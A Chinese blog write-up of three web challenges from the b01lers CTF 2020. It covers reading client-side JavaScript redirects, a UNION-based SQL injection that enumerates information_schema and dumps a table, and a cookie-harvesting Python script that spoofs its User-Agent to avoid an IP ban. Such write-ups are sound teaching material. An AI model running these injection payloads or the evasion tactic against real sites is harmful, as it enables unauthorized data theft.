🇺🇸Purdue University – b01lers CTF 2020 Writeup 4 min read
本文最后更新于 454 天前,其中的信息可能已经有所发展或是发生改变。

Author:颖奇L’Amore

Blog:www.gem-love.com


Welcome to Earth

直接访问,还没来得及看就直接跳转到die了,所以burp抓包看下源码:

<!DOCTYPE html>
<html>
  <head>
    <title>Welcome to Earth</title>
  </head>
  <body>
    <h1>AMBUSH!</h1>
    <p>You've gotta escape!</p>
    <img src="/static/img/f18.png" alt="alien mothership" style="width:60vw;" />
    <script>
      document.onkeydown = function(event) {
        event = event || window.event;
        if (event.keyCode == 27) {
          event.preventDefault();
          window.location = "/chase/";
        } else die();
      };

      function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
      }

      async function dietimer() {
        await sleep(10000);
        die();
      }

      function die() {
        window.location = "/die/";
      }

      dietimer();
    </script>
  </body>
</html>

可以发现一目录/chase/,用burp访问得到:

<html>
  <head>
    <title>Welcome to Earth</title>
  </head>
  <body>
    <h1>CHASE!</h1>
    <p>
      You managed to chase one of the enemy fighters, but there's a wall coming
      up fast!
    </p>
    <button onclick="left()">Left</button>
    <button onclick="right()">Right</button>
    <img
      src="/static/img/Canyon_Chase_16.png"
      alt="canyon chase"
      style="width:60vw;"
    />
    <script>
      function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
      }
      async function dietimer() {
        await sleep(1000);
        die();
      }
      function die() {
        window.location = "/die/";
      }
      function left() {
        window.location = "/die/";
      }
      function leftt() {
        window.location = "/leftt/";
      }
      function right() {
        window.location = "/die/";
      }
      dietimer();
    </script>
  </body>
</html>

可以看到/leftt目录,访问

一直这样不停操作,一共要跳转个七八次吧,有时候可能直接看不到下一步的目录,但是调用了js,去访问那个js,类似这样:

function check_door() {
  var all_radio = document.getElementById("door_form").elements;
  var guess = null;

  for (var i = 0; i < all_radio.length; i++)
    if (all_radio[i].checked) guess = all_radio[i].value;

  rand = Math.floor(Math.random() * 360);
  if (rand == guess) window.location = "/open/";
  else window.location = "/die/";
}

就可以得到下一步的目录是/open/

就这样,一直到最后一步,访问它引用的js,得到:

// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
  for (var i = 0; i < key.length; i++) {
    let n = key.charCodeAt(i) % flag.length;
    let temp = flag[i];
    flag[i] = flag[n];
    flag[n] = temp;
  }
  return flag;
}

function check_action() {
  var action = document.getElementById("action").value;
  var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

  // TODO: unscramble function
}

主要是:

var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];

很明显是吧flag给打散了,其他代码也不用看,可以直接把flag读出来,毕竟都是单词,所以flag就是:

pctf{hey_boys_im_baaaaaaaaaack!}


Life on Mars

打开之后,点左侧之后会显示不同的内容,调出控制台发现实际上是进行了某种查询

既然查询,考虑可能存在SQL注入,观察一下这个查询的url:

http://web.ctf.b01lers.com:1001/query?search=hellas_basin&{}&_=1584355953654

在life_on_mars.js中有如下ajax代码:

function get_life(query) {
  //jquery ajax for querying server
  /*
  response = $.load('/query?search=' + query, function(responseTxt, statusTxt, xhr).parseJSON(response);
    {
    if (statusTxt == "success") {

    }
  });

*/
  //alert(query);
  $.ajax({
    type: "GET",
    url: "/query?search=" + query,
    data: "{}",
    contentType: "application/json; charset=utf-8",
    dataType: "json",
    cache: false,
    success: function(data) {
      var table_html =
        '<table id="results"><tr><th>Name</th><th>Description</th></tr>';
      $.each(data, function(i, item) {
        table_html +=
          "<tr><td>" + data[i][0] + "</td><td>" + data[i][1] + "</td></tr>";
      });
      table_html += "</table>";

      $("#results").replaceWith(table_html);
    },

    error: function(msg) {
      //alert(msg.responseText);
    }
  });
}

反正我是没发现这个时间戳有啥用,直接访问那个query页面,显示的就是查询出来的东西

简单fuzz发现可以直接注

先用order by查询发现返回结果为2列:

http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia%20order%20by%202--

之后测试一下,发现数据全部被显示出来了:

之后就往出注好了(可以sqlmap一把梭)

http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia union select group_concat(table_name),2 from information_schema.tables where table_schema=database()

amazonis_planitia,arabia_terra,chryse_planitia,hellas_basin,hesperia_planum,noachis_terra,olympus_mons,tharsis_rise,utopia_basin
http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia union select group_concat(column_name),2 from information_schema.columns where table_schema=database()

id,name,description,id,name,description,id,name,description,id,name,description,id,name,description,id,name,description,id,name,description,id,name,description,id,name,description
http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia union select * from alien_code.code

pctf{no_intelligent_life_here}

Scrambled

打开之后只有一个YouTube视频

可以发现有2个cookie,frequency从0开始每次访问就加1,transmissions永远是

kxkxkxkxsh+字符+数字+kxkxkxkxsh

frequency和transmissions不存在一一对应关系,刷新的话trans的值会改变,所以即使尝试把他们都读出来,得到的也是无序的。

可以发现,字符后面永远跟着数字,所以猜测这个数字可能是flag的索引,如果建立字符-数字的对应关系,之后再根据字符进行排序,或许就可以得到flag,于是写了个脚本跑一下

因为并不完全清楚他的flag到底怎么往cookie里藏的,脚本只能凭感觉写,最开始写了半天用requests得到的cookie都是0,后来发现带着新的cookie读就能出flag了;加UA主要是模拟一下人访问,第一次跑一半结果被ban了ip 所以又修饰了一下:

'''
颖奇L'Amore www.gem-love.com
转载请勿删除本水印
'''
import requests
import urllib.parse
from string import digits

def getIndex(str):
	tail = str[-2:]
	if tail.isnumeric():
		res = int(str[-2:])
	else:
		res = int(str[-1:])
	return res

def generateDict():
	dic = {0:'0'}
	for i in range(1,100):
		dic[i] = '0'
	return dic

def bucket(dic, key, value):
	dic[key] = value;
	return dic

def output(dic):
	for i in range(0,100):
		if dic[i] != '0':
			print(dic[i], end='')
	print(' ')

def main():
	url = "http://web.ctf.b01lers.com:1002/"
	cookie = {
		"frequency" : '0', "transmissions":"0"
		}
	dic = generateDict()
	for i in range(100):
		headers = {
			'User-Agent':'Mozilla/5.0 (GEM-LOVE.COM 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
			'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Connection':'keep-alive'
		}
		r = requests.get(url, headers=headers, cookies=cookie)
		s = urllib.parse.unquote(requests.utils.dict_from_cookiejar(r.cookies)['transmissions'].replace('kxkxkxkxsh',''))
		dic = bucket(dic, getIndex(s), s.translate(str.maketrans('', '', digits)))
		output(dic)
		cookie['transmissions'] = requests.utils.dict_from_cookiejar(r.cookies)['transmissions']
		cookie['frequency'] = str(i)
if __name__ == '__main__':
  main()

得到:

pccttf{DDoowwnn__Witththhee__FFaleenn,,CCaarrnivvoorree,,TTeelleesoppee,,IIt_HHaass__BBeegn,Myy__DDemoonnss}

有些字符重复,不过还好因为是英语可读,手工处理一下

flag:pctf{Down_With_the_Fallen,Carnivore,Telescope,It_Has_Begun,My_Demons}

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2012.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

暂无评论

发送评论 编辑评论

上一篇
下一篇